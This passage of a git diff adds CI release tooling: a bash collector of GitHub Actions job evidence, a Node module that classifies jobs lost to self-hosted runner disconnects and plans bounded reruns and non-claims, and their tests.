+ } +}); + +test("the closeout collects the lost-runner evidence itself and publishes from the ledger", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const mutations = [ + // The trust boundary that decides proof-versus-non-claim must not inherit the producer's + // verdict, so the closeout's own producer-map call carries evidence it collected. + ["pre-publish closeout stops collecting its own evidence", live => { + const step = live.get("release.yml").jobs["pre-publish-closeout"].steps + .find(({ name }) => name === "Authenticate pre-publish Actions provenance"); + step.run = step.run + .replace(/\s*bash \.github\/scripts\/collect-actions-job-evidence\.sh[^\n]*\n[^\n]*\n/u, "\n") + .replace(/\s*--job-evidence [^\n]*\n/u, "\n"); + }, /must contain --job-evidence|collect-actions-job-evidence/u], + ["post-publish closeout stops collecting its own evidence", live => { + const step = live.get("release.yml").jobs["post-publish-closeout"].steps + .find(({ name }) => name === "Authenticate post-publish Actions provenance"); + step.run = step.run.replace(/\s*--job-evidence [^\n]*\n/u, "\n"); + }, /--job-evidence/u], + // Release notes rendered from the static graph are how a withheld accelerator was still + // announced as supported. + ["release notes rendered without the ledger", live => { + const step = live.get("release.yml").jobs.publish.steps + .find(({ name }) => name === "Compose versioned GitHub release notes"); + step.run = step.run.replace(/ \\\n\s*--ledger [^\n]*/u, ""); + }, /--ledger target\/release-closeout\/pre_publish\/ledger\.json/u], + ["the accepted ledger is never downloaded", live => { + const job = live.get("release.yml").jobs.publish; + job.steps = job.steps.filter(({ name }) => name !== "Download the accepted pre-publish closeout"); + }, /Download the accepted pre-publish closeout/u], + // The ledger the README points readers at has to reach a release consumer. + ["the closeout summary stops shipping", live => { + const job = live.get("release.yml").jobs.publish; + job.steps = job.steps + .filter(({ name }) => name !== "Ship the accepted closeout summary with the release"); + }, /Ship the accepted closeout summary with the release/u], + ["a rejected closeout is shipped anyway", live => { + const step = live.get("release.yml").jobs.publish.steps + .find(({ name }) => name === "Ship the accepted closeout summary with the release"); + step.run = step.run.replace(/\s*test "\$\(jq -r \.decision "\$summary"\)" = accept\n/u, "\n"); + }, /= accept/u], + ]; + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const live = loadWorkflows(); + mutate(live); + const violations = validateWorkflows(live); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); + }); + } +}); + +test("lost-runner recovery stays automatic, bounded, and blind to job names", () => { + const graph = loadReleaseClaimGraph(root); + const rerunFile = "lost-runner-rerun.yml"; + + // Both halves agree on the same live repository shape today. + assert.deepEqual(lostRunnerRecoveryViolations(loadWorkflows(), graph), []); + assert.equal(MAXIMUM_RUN_ATTEMPTS, graph.non_claim_policy.maximum_run_attempts); + assert.equal(LOST_RUNNER_ANNOTATION, graph.non_claim_policy.annotation); + + const mutations = [ + // Recovery that waits on a human is the failure this workflow exists to remove. + ["approval-gated rerun", workflows => { + workflows.get(rerunFile).jobs["rerun-lost-jobs"].environment = "release-recovery"; + }], + ["approval-gated non-claim", workflows => { + workflows.get("release.yml").jobs["accelerator-non-claim"].environment = "release-recovery"; + }], + // Re-running every failed job would sweep an assertion failure along with the lost one. + ["blanket failed-job rerun", workflows => { + const step = workflows.get(rerunFile).jobs["rerun-lost-jobs"].steps + .find(({ name }) => name === "Re-dispatch only the lost jobs"); + step.run = step.run.replace( + "actions/jobs/$job_id/rerun", + "actions/runs/$FAILED_RUN_ID/rerun-failed-jobs", + ); + }], + ["ungated re-dispatch", workflows => { + delete workflows.get(rerunFile).jobs["rerun-lost-jobs"].steps + .find(({ name }) => name === "Re-dispatch only the lost jobs").if; + }], + ["unclassified re-dispatch", workflows => { + const job = workflows.get(rerunFile).jobs["rerun-lost-jobs"]; + job.steps = job.steps.filter(({ name }) => name !== "Plan the bounded rerun"); + }], + ["rerun on every conclusion", workflows => { + delete workflows.get(rerunFile).jobs["rerun-lost-jobs"].if; + }], + ["missing release observation", workflows => { + workflows.get(rerunFile).on.workflow_run.workflows = ["Auto Release"]; + }], + ["broadened recovery permissions", workflows => { + workflows.get(rerunFile).permissions.contents = "write"; + }], + // The withheld-claim producer must decide from the classifier, not from a red proof job. + ["unclassified non-claim", workflows => { + const job = workflows.get("release.yml").jobs["accelerator-non-claim"]; + job.steps = job.steps.filter(({ name }) => name !== "Decide withheld accelerator hosts"); + }], + ["unconditional non-claim cells", workflows => { + delete workflows.get("release.yml").jobs["accelerator-non-claim"].steps + .find(({ name }) => name === "Record populated accelerator non-claims").if; + }], + ["non-claim upload for a host that reported", workflows => { + workflows.get("release.yml").jobs["accelerator-non-claim"].steps + .find(({ with: options }) => String(options?.name ?? "") + .startsWith("release-cell-nonclaim-prepublish-linux-x64-vulkan")).if = "always()"; + }], + // One container per closeout phase: a phase's producer map authorizes only the manifests it + // selected, so a container carrying another phase's cell is rejected at download time. + ["phase-mixed non-claim container", workflows => { + workflows.get("release.yml").jobs["accelerator-non-claim"].steps + .find(({ with: options }) => String(options?.name ?? "") + .startsWith("release-cell-nonclaim-postpublish-linux-x64-vulkan")) + .with.path = "target/release-non-claim/cells/linux-x64-vulkan"; + }], + ["closeout ignores the non-claim outcome", workflows => { + const job = workflows.get("release.yml").jobs["pre-publish-closeout"]; + job.if = job.if.replace( + " && (needs.accelerator-non-claim.result == 'success' || needs.accelerator-non-claim.result == 'skipped')", + "", + ); + }], + ["non-claim skips the accelerator hosts", workflows => { + workflows.get("release.yml").jobs["accelerator-non-claim"].needs = ["preflight", "packaged-proof"]; + }], + ["non-claim producer job renamed away from the graph", workflows => { + workflows.get("release.yml").jobs["accelerator-non-claim"].name = "Skip accelerator proof"; + }], + ["forged withheld cell producer", workflows => { + workflows.get("release.yml").jobs.publish.steps.push({ + name: "Upload forged withheld cell", + uses: "actions/upload-artifact@v7.0.1", + with: { + name: "release-cell-nonclaim-prepublish-linux-x64-vulkan-attempt-${{ github.run_attempt }}", + path: "forged.json", + }, + }); + }], + ]; + for (const [label, mutate] of mutations) { + const workflows = loadWorkflows(); + mutate(workflows); + assert.notDeepEqual(validateWorkflows(workflows), [], label); + } + + // A recovery bound that drifts from the release claim graph is caught even when the workflows + // are untouched: the two numbers are the same fact. + const drifted = structuredClone(graph); + drifted.non_claim_policy.maximum_run_attempts = 5; + assert.notDeepEqual(lostRunnerRecoveryViolations(loadWorkflows(), drifted), []); + const rephrased = structuredClone(graph); + rephrased.non_claim_policy.annotation = "The runner went away."; + assert.notDeepEqual(lostRunnerRecoveryViolations(loadWorkflows(), rephrased), []); +}); diff --git a/.github/scripts/collect-actions-job-evidence.sh b/.github/scripts/collect-actions-job-evidence.sh new file mode 100755 index 000000000..ceee01376 --- /dev/null +++ b/.github/scripts/collect-actions-job-evidence.sh @@ -0,0 +1,103 @@ +#!/usr/bin/env bash +# Collect the Actions job evidence that .github/scripts/lost-runner-recovery.mjs classifies. +# +# Both halves of the lost-runner contract -- the bounded automatic rerun and the withheld-claim +# fallback -- read the same three facts about a failed job, so they read them through one collector +# rather than two copies of the same jq. Successful jobs are recorded without annotation or log +# lookups because the classifier only ever inspects failures. +# +# Every lookup here fails closed. "This job had no annotations" and "this token may not read +# annotations" are different facts about the world that an earlier version of this script both +# reported as `[]`; the second one is a repository misconfiguration and has to stop the run rather +# than quietly re-describe a lost runner as an ordinary assertion failure. The same goes for the +# log blob: only a 404 means "the runner never uploaded one", and every other outcome -- 403, a +# rate limit, a transport error -- is an error, never the permissive answer. +# +# The annotations endpoint needs the `checks: read` token scope. Any job that runs this script must +# declare it; .github/scripts/check-workflow-policy.mjs refuses a workflow that does not. +# +# usage: collect-actions-job-evidence.sh +set -euo pipefail + +run_id="$1" +run_attempt="$2" +output="$3" +mkdir -p "$(dirname "$output")" +work="$(mktemp -d)" +trap 'rm -rf "$work"' EXIT + +# Ask one Actions endpoint for its HTTP status without letting a transport failure impersonate an +# answer. Prints the final status code of the redirect chain, or nothing at all when gh never got +# a response -- callers treat "nothing" as an error, never as a verdict. +http_status() { + local target="$1" response + response="$(gh api --include --silent "$target" 2>/dev/null || true)" + printf '%s\n' "$response" | + awk 'toupper($1) ~ /^HTTP\// { code = $2 } END { if (code != "") print code }' +} + +# Every attempt, not just the current one. The recovery bound counts how many times *this job* was +# lost to its runner, which is a different number from how many times the run was re-run: a release +# re-run for an unrelated reason must not consume a host's one automatic retry before it is owed. +: > "$work/jobs.ndjson" +attempt=1 +while [ "$attempt" -le "$run_attempt" ]; do + gh api --paginate \ + "repos/$GITHUB_REPOSITORY/actions/runs/$run_id/attempts/$attempt/jobs?per_page=100" \ + --jq '.jobs[]' >> "$work/jobs.ndjson" + attempt=$((attempt + 1)) +done +jq -s '.' "$work/jobs.ndjson" > "$work/jobs.json" + +# One row per execution: a job Actions carried forward unchanged is listed under the same id by +# every later attempt, and counting it twice would spend a recovery that never happened. +jq -c '[.[] | {id, name, status, conclusion, run_attempt, steps}] + | group_by(.id) | map(max_by(.run_attempt)) | sort_by(.id) | .[]' \ + "$work/jobs.json" > "$work/selected.json" + +: > "$work/rows.json" +# Read from a file rather than a pipe so the loop runs in this shell: a `exit 1` below has to stop +# the collector, not just a subshell that the pipeline would then report as success. +while IFS= read -r job; do + job_id="$(jq -r '.id' <<<"$job")" + if [ "$(jq -r '.conclusion' <<<"$job")" = failure ]; then + if ! annotations="$(gh api "repos/$GITHUB_REPOSITORY/check-runs/$job_id/annotations" 2>"$work/annotations.err")"; then + echo "::error::Cannot read annotations for job $job_id: $(tr -d '\n' < "$work/annotations.err")." >&2 + echo "::error::The lost-runner signature is unreadable without the checks: read token scope." >&2 + exit 1 + fi + if ! jq -e 'type == "array"' >/dev/null 2>&1 <<<"$annotations"; then + echo "::error::Annotations for job $job_id are not a JSON array." >&2 + exit 1 + fi + # A runner that lost communication never uploaded its log blob, so this endpoint 404s. That is + # one of the three parts of the signature and is not inferable from the job record alone. + log_status="$(http_status "repos/$GITHUB_REPOSITORY/actions/jobs/$job_id/logs")" + case "$log_status" in + 2??) log_uploaded=true ;; + 404|410) log_uploaded=false ;; + *) + echo "::error::Log blob probe for job $job_id answered ${log_status:-no HTTP status}." >&2 + echo "::error::Only 404 means the runner uploaded no log; every other answer is an error." >&2 + exit 1 + ;; + esac + # Recorded state, so a reader of the evidence can see which answer produced the verdict rather + # than having to assume one. + probe="$(jq -nc \ + --arg log_http_status "$log_status" \ + '{annotations_read: true, log_http_status: ($log_http_status | tonumber)}')" + else + annotations='[]' + log_uploaded=true + probe='{"annotations_read":false,"log_http_status":null,"skipped":"conclusion_not_failure"}' + fi + jq -c \ + --argjson annotations "$annotations" \ + --argjson log_uploaded "$log_uploaded" \ + --argjson probe "$probe" \ + '. + {annotations: $annotations, log_uploaded: $log_uploaded, evidence_probe: $probe}' <<<"$job" \ + >> "$work/rows.json" +done < "$work/selected.json" + +jq -s '.' "$work/rows.json" > "$output" diff --git a/.github/scripts/lost-runner-recovery.mjs b/.github/scripts/lost-runner-recovery.mjs new file mode 100644 index 000000000..2fd6d4686 --- /dev/null +++ b/.github/scripts/lost-runner-recovery.mjs @@ -0,0 +1,339 @@ +#!/usr/bin/env node + +// A self-hosted runner that drops its connection mid-job is reported by Actions as an ordinary job +// failure, which is indistinguishable from a proof that ran and refused to pass unless the run is +// inspected. GitHub does leave a precise, machine-readable signature behind: +// +// 1. a job annotation whose text is exactly LOST_RUNNER_ANNOTATION, +// 2. at least one step that completed with an EMPTY conclusion -- the steps queued behind the +// point where the connection died were never resolved, and +// 3. no log blob: the runner never uploaded one, so the logs endpoint has nothing to serve. +// +// A proof that executed and failed its own assertions has none of those: it has a real conclusion +// on every step and a log blob. This module keys on the signature, never on job names, so that a +// renamed or newly added proof job cannot silently become retryable. + +import { readFileSync, writeFileSync, appendFileSync, mkdirSync } from "node:fs"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +export const LOST_RUNNER_ANNOTATION = + "The self-hosted runner lost communication with the server. " + + "Verify the machine is running and has a healthy network connection."; + +/// Total executions of one job permitted for a release run, counting the original. Two means one +/// automatic recovery attempt: the bound exists so a permanently sick host cannot loop forever, and +/// it is the same bound the withheld-claim fallback waits for before it stops expecting a proof. +export const MAXIMUM_RUN_ATTEMPTS = 2; + +export const RUNNER_COMMUNICATION_LOSS = "runner_communication_loss"; +export const JOB_ASSERTION_FAILURE = "job_assertion_failure"; +export const RERUN_PLAN_SCHEMA = "codestory.lost-runner-rerun-plan/v1"; +export const NON_CLAIM_PLAN_SCHEMA = "codestory.accelerator-non-claim-plan/v1"; + +function fail(message) { + throw new Error(message); +} + +function text(value, label) { + if (typeof value !== "string" || value === "") fail(`${label} must be non-empty text`); + return value; +} + +function positiveInteger(value, label) { + const selected = String(value ?? ""); + if (!/^[1-9]\d*$/u.test(selected)) fail(`${label} must be a positive integer`); + return Number(selected); +} + +function list(value, label) { + if (!Array.isArray(value)) fail(`${label} must be an array`); + return value; +} + +/// Actions renders a reusable workflow's job as " / "; the leaf is the name +/// the release claim graph binds its producers to. +export function leafJobName(name) { + return text(name, "Actions job name").split(" / ").at(-1); +} + +function emptyConclusionSteps(job) { + return list(job.steps ?? [], "job steps") + .filter((step) => step?.conclusion === null || step?.conclusion === "") + .map((step) => String(step?.name ?? "")); +} + +function annotationMatches(job) { + if (!Array.isArray(job.annotations)) fail("job annotations must be an array"); + return job.annotations + .some((annotation) => String(annotation?.message ?? "").trim() === LOST_RUNNER_ANNOTATION); +} + +/// Whether the runner uploaded a log blob. This must be a fact the collector actually established, +/// not a field that happens to be absent: an absent field used to read as `false`, which is the +/// half of the signature a lost runner needs, so a collector that silently stopped probing would +/// have made every failure look lost. Absence is an error here and nowhere near a verdict. +function logUploaded(job) { + if (typeof job.log_uploaded !== "boolean") { + fail("job log_uploaded must be a boolean established by the evidence collector"); + } + return job.log_uploaded; +} + +/// Classify one *failed* job. The lost-runner verdict requires all three signature parts at once: +/// any one of them alone is reachable by an ordinary failure (a cancelled step leaves an empty +/// conclusion, a log can be expired), so partial matches stay assertion failures and are never +/// retried and never converted into a withheld claim. +export function classifyJobFailure(job) { + const name = leafJobName(job?.name); + const conclusion = job?.conclusion === null || job?.conclusion === undefined + ? null + : String(job.conclusion); + const emptySteps = emptyConclusionSteps(job ?? {}); + const evidence = { + annotation_matched: annotationMatches(job ?? {}), + empty_conclusion_steps: emptySteps, + log_uploaded: logUploaded(job ?? {}), + }; + const lost = conclusion === "failure" + && evidence.annotation_matched + && emptySteps.length > 0 + && evidence.log_uploaded === false; + return { + id: positiveInteger(job?.id, "Actions job id"), + name, + conclusion, + run_attempt: String(positiveInteger(job?.run_attempt, "Actions job run attempt")), + signature: lost ? RUNNER_COMMUNICATION_LOSS : JOB_ASSERTION_FAILURE, + evidence, + }; +} + +/// One row per *execution*. The collector reads every attempt of a run, so a job that Actions +/// carried forward unchanged appears once per attempt listing under the same id; those are the same +/// execution and must be counted once. +function distinctExecutions(jobs) { + const byId = new Map(); + for (const job of list(jobs, "Actions jobs")) { + const id = positiveInteger(job?.id, "Actions job id"); + const attempt = positiveInteger(job?.run_attempt, "Actions job run attempt"); + const previous = byId.get(id); + // Keep the richest sighting of an execution: a later attempt's listing carries the same facts, + // but only the listing taken from the attempt the job ran in has its evidence probed. + if (previous === undefined || positiveInteger(previous.run_attempt, "run attempt") < attempt) { + byId.set(id, job); + } + } + return [...byId.values()]; +} + +function failedJobs(jobs) { + return distinctExecutions(jobs).filter((job) => String(job?.conclusion ?? "") === "failure"); +} + +/// How many *executions* of one job name were lost to their runner, across every attempt collected. +/// +/// This is the recovery counter, and it is deliberately not `GITHUB_RUN_ATTEMPT`. A release run +/// reaches attempt 2 for any reason a maintainer likes -- a flaky unrelated job, a re-run to pick +/// up a secret -- and the run-attempt number cannot tell that apart from "the automatic recovery +/// for this host has already been spent". Counting lost executions of the job itself can: a host +/// that has been lost once is owed a re-dispatch no matter what attempt the run is on, and a host +/// that has been lost twice has had its one automatic recovery and gets no more. +export function countLostExecutions(jobs, jobName) { + return distinctExecutions(jobs) + .filter((job) => leafJobName(job?.name) === jobName) + .filter((job) => String(job?.conclusion ?? "") === "failure") + .filter((job) => classifyJobFailure(job).signature === RUNNER_COMMUNICATION_LOSS) + .length; +} + +/// Decide which individual jobs to re-dispatch. Only jobs carrying the lost-runner signature are +/// ever re-dispatched -- the plan names them one by one instead of asking Actions to rerun every +/// failed job, so a proof that failed its own assertions is left exactly as it is and keeps the run +/// red. No approval gate is consulted: recovery is a machine decision or it does not happen. +/// +/// The bound is per job, not per run: see `countLostExecutions`. +export function planLostRunnerRerun({ runAttempt, runConclusion, jobs }) { + const attempt = positiveInteger(runAttempt, "run attempt"); + const classified = failedJobs(jobs).map(classifyJobFailure); + const withRecoveries = classified.map((job) => ({ + ...job, + lost_executions: countLostExecutions(jobs, job.name), + })); + const lost = withRecoveries.filter(({ signature }) => signature === RUNNER_COMMUNICATION_LOSS); + const notRetried = withRecoveries.filter(({ signature }) => signature !== RUNNER_COMMUNICATION_LOSS); + const retryable = lost.filter(({ lost_executions: spent }) => spent < MAXIMUM_RUN_ATTEMPTS); + const reason = String(runConclusion ?? "") !== "failure" + ? "run_did_not_fail" + : lost.length === 0 + ? "no_runner_communication_loss" + : retryable.length === 0 + ? "recovery_bound_reached" + : "runner_communication_loss"; + return { + schema: RERUN_PLAN_SCHEMA, + rerun: reason === "runner_communication_loss", + reason, + run_attempt: attempt, + maximum_run_attempts: MAXIMUM_RUN_ATTEMPTS, + rerun_job_ids: reason === "runner_communication_loss" ? retryable.map(({ id }) => id) : [], + lost_jobs: lost, + not_retried_jobs: notRetried, + }; +} + +export const HOST_PROVEN = "proven"; +export const HOST_WITHHELD = "withheld"; +export const HOST_RETRY_PENDING = "retry_pending"; +export const HOST_BLOCKED = "blocked"; + +/// Decide, per protected accelerator host, whether this run may record a populated non-claim. +/// +/// `withheld` is reachable only from the lost-runner signature *after* the retry bound is spent. +/// Every other shape -- a proof that failed its own assertions, a cancelled job, a job that never +/// appeared in the run -- is `blocked`, which the CLI turns into a non-zero exit. Withholding is +/// therefore never the fallback for "something went wrong": it is the fallback for exactly one +/// machine-checkable fact. +export function planAcceleratorNonClaim({ runAttempt, hosts, jobs }) { + const attempt = positiveInteger(runAttempt, "run attempt"); + const inspected = distinctExecutions(jobs); + const rows = list(hosts, "protected hosts").map((host) => { + const hostId = text(host?.id, "protected host id"); + const jobName = text(host?.job_name, `${hostId} producer job name`); + const occurrences = inspected.filter((job) => leafJobName(job?.name) === jobName); + if (occurrences.length === 0) { + return { host: hostId, job_name: jobName, state: HOST_BLOCKED, detail: "job_absent_from_run" }; + } + const latestAttempt = Math.max( + ...occurrences.map((job) => positiveInteger(job?.run_attempt, `${jobName} run attempt`)), + ); + const latest = occurrences.filter((job) => Number(job.run_attempt) === latestAttempt); + if (latest.length !== 1) { + return { host: hostId, job_name: jobName, state: HOST_BLOCKED, detail: "job_is_ambiguous" }; + } + const job = latest[0]; + if (String(job.status ?? "") === "completed" && String(job.conclusion ?? "") === "success") { + return { host: hostId, job_name: jobName, state: HOST_PROVEN, detail: "proof_succeeded" }; + } + if (String(job.conclusion ?? "") !== "failure") { + return { + host: hostId, + job_name: jobName, + state: HOST_BLOCKED, + detail: `job_conclusion_${String(job.conclusion ?? "none")}`, + }; + } + const classified = classifyJobFailure(job); + if (classified.signature !== RUNNER_COMMUNICATION_LOSS) { + return { + host: hostId, + job_name: jobName, + state: HOST_BLOCKED, + detail: JOB_ASSERTION_FAILURE, + job: classified, + }; + } + // The bound that has to be spent is this host's own recovery, counted in lost executions of + // its job. A release run sitting at attempt 2 for an unrelated reason has still never + // re-dispatched this host, and the first loss of a runner is owed its one automatic retry. + const spent = countLostExecutions(jobs, jobName); + if (spent < MAXIMUM_RUN_ATTEMPTS || attempt < MAXIMUM_RUN_ATTEMPTS) { + return { + host: hostId, + job_name: jobName, + state: HOST_RETRY_PENDING, + detail: "automatic_rerun_still_owed", + lost_executions: spent, + job: classified, + }; + } + return { + host: hostId, + job_name: jobName, + state: HOST_WITHHELD, + detail: RUNNER_COMMUNICATION_LOSS, + lost_executions: spent, + job: classified, + }; + }); + return { + schema: NON_CLAIM_PLAN_SCHEMA, + run_attempt: attempt, + maximum_run_attempts: MAXIMUM_RUN_ATTEMPTS, + hosts: rows, + withheld_hosts: rows.filter(({ state }) => state === HOST_WITHHELD).map(({ host }) => host), + blocked_hosts: rows + .filter(({ state }) => state === HOST_BLOCKED || state === HOST_RETRY_PENDING) + .map(({ host }) => host), + }; +} + +function readJson(filePath) { + return JSON.parse(readFileSync(path.resolve(text(filePath, "input path")), "utf8")); +} + +function writeJson(filePath, value) { + const absolute = path.resolve(text(filePath, "output path")); + mkdirSync(path.dirname(absolute), { recursive: true }); + writeFileSync(absolute, `${JSON.stringify(value, null, 2)}\n`); +} + +function emitOutputs(entries) { + const target = process.env.GITHUB_OUTPUT; + if (!target) return; + for (const [key, value] of Object.entries(entries)) { + appendFileSync(target, `${key}=${value}\n`); + } +} + +function parseArgs(argv) { + const command = argv.shift(); + const values = {}; + while (argv.length > 0) { + const key = argv.shift(); + const value = argv.shift(); + if (!key?.startsWith("--") || value === undefined) fail("arguments must be --key value pairs"); + values[key.slice(2)] = value; + } + return { command, values }; +} + +function main() { + const { command, values } = parseArgs(process.argv.slice(2)); + if (command === "plan-rerun") { + const input = readJson(values.input); + const plan = planLostRunnerRerun({ + runAttempt: input.run_attempt, + runConclusion: input.conclusion, + jobs: input.jobs, + }); + writeJson(values.out ?? "target/lost-runner/rerun-plan.json", plan); + emitOutputs({ rerun: String(plan.rerun), job_ids: plan.rerun_job_ids.join(" ") }); + console.log(JSON.stringify(plan, null, 2)); + return; + } + if (command === "plan-non-claim") { + const input = readJson(values.input); + const plan = planAcceleratorNonClaim({ + runAttempt: input.run_attempt, + hosts: input.hosts, + jobs: input.jobs, + }); + writeJson(values.out ?? "target/lost-runner/non-claim-plan.json", plan); + emitOutputs({ withheld_hosts: plan.withheld_hosts.join(" ") }); + console.log(JSON.stringify(plan, null, 2)); + if (plan.blocked_hosts.length > 0) { + const blocked = plan.hosts.filter(({ state }) => state !== HOST_PROVEN && state !== HOST_WITHHELD); + for (const row of blocked) { + console.error(`::error::${row.host} cannot record a non-claim: ${row.detail}`); + } + process.exitCode = 1; + } + return; + } + fail(`unknown command ${String(command)}`); +} + +if (process.argv[1] && fileURLToPath(import.meta.url) === path.resolve(process.argv[1])) { + main(); +} diff --git a/.github/scripts/lost-runner-recovery.test.mjs b/.github/scripts/lost-runner-recovery.test.mjs new file mode 100644 index 000000000..27b785845 --- /dev/null +++ b/.github/scripts/lost-runner-recovery.test.mjs @@ -0,0 +1,600 @@ +import assert from "node:assert/strict"; +import { spawnSync } from "node:child_process"; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import test from "node:test"; +import { fileURLToPath } from "node:url"; +import { + JOB_ASSERTION_FAILURE, + LOST_RUNNER_ANNOTATION, + MAXIMUM_RUN_ATTEMPTS, + RUNNER_COMMUNICATION_LOSS, + classifyJobFailure, + countLostExecutions, + planAcceleratorNonClaim, + planLostRunnerRerun, +} from "./lost-runner-recovery.mjs"; + +const script = fileURLToPath(new URL("./lost-runner-recovery.mjs", import.meta.url)); + +function lostJob(overrides = {}) { + return { + id: 41, + name: "linux-vulkan-proof / Packaged Linux Vulkan engine", + status: "completed", + conclusion: "failure", + run_attempt: "1", + log_uploaded: false, + annotations: [{ level: "failure", message: LOST_RUNNER_ANNOTATION }], + steps: [ + { name: "Checkout exact source", status: "completed", conclusion: "success" }, + { name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: null }, + { name: "Upload Linux Vulkan proof artifacts", status: "completed", conclusion: null }, + ], + ...overrides, + }; +} + +function assertionJob(overrides = {}) { + return { + id: 42, + name: "linux-vulkan-proof / Packaged Linux Vulkan engine", + status: "completed", + conclusion: "failure", + run_attempt: "1", + log_uploaded: true, + annotations: [{ level: "failure", message: "Process completed with exit code 1." }], + steps: [ + { name: "Checkout exact source", status: "completed", conclusion: "success" }, + { name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: "failure" }, + ], + ...overrides, + }; +} + +const linuxHost = { id: "linux-x64-vulkan", job_name: "Packaged Linux Vulkan engine" }; + +function runCli(command, input) { + const directory = mkdtempSync(path.join(os.tmpdir(), "codestory-lost-runner-")); + const inputPath = path.join(directory, "input.json"); + const outPath = path.join(directory, "plan.json"); + const outputsPath = path.join(directory, "outputs.txt"); + writeFileSync(inputPath, JSON.stringify(input)); + writeFileSync(outputsPath, ""); + const result = spawnSync( + process.execPath, + [script, command, "--input", inputPath, "--out", outPath], + { encoding: "utf8", env: { ...process.env, GITHUB_OUTPUT: outputsPath } }, + ); + return { + status: result.status, + stderr: result.stderr, + plan: JSON.parse(readFileSync(outPath, "utf8")), + outputs: readFileSync(outputsPath, "utf8"), + }; +} + +test("the lost-runner verdict needs the whole signature, not any one part of it", () => { + assert.equal(classifyJobFailure(lostJob()).signature, RUNNER_COMMUNICATION_LOSS); + + // Each single-part removal must fall back to an assertion failure. Any one of these alone is + // reachable without a lost runner, so a partial match must never unlock a retry. + assert.equal( + classifyJobFailure(lostJob({ annotations: [{ message: "Process completed with exit code 1." }] })).signature, + JOB_ASSERTION_FAILURE, + ); + assert.equal( + classifyJobFailure(lostJob({ + steps: [{ name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: "failure" }], + })).signature, + JOB_ASSERTION_FAILURE, + ); + assert.equal(classifyJobFailure(lostJob({ log_uploaded: true })).signature, JOB_ASSERTION_FAILURE); + + // A near-miss annotation is not the annotation. + assert.equal( + classifyJobFailure(lostJob({ + annotations: [{ message: `${LOST_RUNNER_ANNOTATION} Retrying.` }], + })).signature, + JOB_ASSERTION_FAILURE, + ); + // Surrounding whitespace in the Actions payload is not meaningful. + assert.equal( + classifyJobFailure(lostJob({ annotations: [{ message: `\n${LOST_RUNNER_ANNOTATION}\n` }] })).signature, + RUNNER_COMMUNICATION_LOSS, + ); + + // The verdict is reached without ever reading the job name. + assert.equal( + classifyJobFailure(lostJob({ name: "some-unrelated-job / Brand new proof" })).signature, + RUNNER_COMMUNICATION_LOSS, + ); + assert.equal( + classifyJobFailure(assertionJob({ name: "linux-vulkan-proof / Packaged Linux Vulkan engine" })).signature, + JOB_ASSERTION_FAILURE, + ); +}); + +/// The same host lost again on a later attempt: a *second* execution of the same job name, which is +/// what actually spends the one automatic recovery. +function lostAgain(attempt = MAXIMUM_RUN_ATTEMPTS) { + return lostJob({ id: 40 + attempt, run_attempt: String(attempt) }); +} + +test("only lost jobs are re-dispatched and the recovery bound counts recoveries", () => { + const lost = planLostRunnerRerun({ + runAttempt: 1, + runConclusion: "failure", + jobs: [lostJob(), { id: 9, name: "Release / Workflow policy", conclusion: "success", run_attempt: "1" }], + }); + assert.equal(lost.rerun, true); + assert.equal(lost.reason, "runner_communication_loss"); + assert.deepEqual(lost.rerun_job_ids, [41]); + assert.equal(lost.maximum_run_attempts, MAXIMUM_RUN_ATTEMPTS); + assert.deepEqual(lost.lost_jobs.map(({ lost_executions: spent }) => spent), [1]); + + // An assertion failure alongside a lost runner is reported and left untouched: it is not in the + // re-dispatch list, so the rerun cannot turn it green. + const mixed = planLostRunnerRerun({ + runAttempt: 1, + runConclusion: "failure", + jobs: [lostJob(), assertionJob({ id: 77, name: "windows-vulkan-proof / Packaged Windows Vulkan engine" })], + }); + assert.deepEqual(mixed.rerun_job_ids, [41]); + assert.deepEqual(mixed.not_retried_jobs.map(({ id }) => id), [77]); + + // A run whose only failure is an assertion failure is never re-dispatched. + const assertionOnly = planLostRunnerRerun({ + runAttempt: 1, + runConclusion: "failure", + jobs: [assertionJob()], + }); + assert.equal(assertionOnly.rerun, false); + assert.equal(assertionOnly.reason, "no_runner_communication_loss"); + assert.deepEqual(assertionOnly.rerun_job_ids, []); + + // The bound is two lost executions of the same job: the second loss gets no third try. + const bounded = planLostRunnerRerun({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + runConclusion: "failure", + jobs: [lostJob(), lostAgain()], + }); + assert.equal(bounded.rerun, false); + assert.equal(bounded.reason, "recovery_bound_reached"); + assert.deepEqual(bounded.lost_jobs.map(({ lost_executions: spent }) => spent), [2, 2]); + + // A run that reached attempt 2 for an unrelated reason has still never re-dispatched this host, + // and the first loss of its runner is owed its one automatic recovery. Reading the run-attempt + // number as a recovery counter refused the retry here and withheld the claim with zero recoveries. + const rerunForOtherReasons = planLostRunnerRerun({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + runConclusion: "failure", + jobs: [ + { id: 9, name: "Release / Workflow policy", conclusion: "success", run_attempt: "1" }, + lostJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) }), + ], + }); + assert.equal(rerunForOtherReasons.rerun, true); + assert.equal(rerunForOtherReasons.reason, "runner_communication_loss"); + assert.deepEqual(rerunForOtherReasons.rerun_job_ids, [41]); + assert.deepEqual(rerunForOtherReasons.lost_jobs.map(({ lost_executions: spent }) => spent), [1]); + + // A job Actions carried forward unchanged is listed by every later attempt under the same id. + // Counting those listings would spend a recovery that never happened. + const carriedForward = planLostRunnerRerun({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + runConclusion: "failure", + jobs: [lostJob(), lostJob()], + }); + assert.equal(carriedForward.rerun, true); + assert.deepEqual(carriedForward.lost_jobs.map(({ lost_executions: spent }) => spent), [1]); + + // A green run is never re-dispatched even if a prior attempt left failure rows behind. + const green = planLostRunnerRerun({ runAttempt: 1, runConclusion: "success", jobs: [lostJob()] }); + assert.equal(green.rerun, false); + assert.equal(green.reason, "run_did_not_fail"); +}); + +test("a non-claim is reachable only from a spent retry bound on a lost runner", () => { + const proven = planAcceleratorNonClaim({ + runAttempt: 1, + hosts: [linuxHost], + jobs: [lostJob({ conclusion: "success", steps: [], 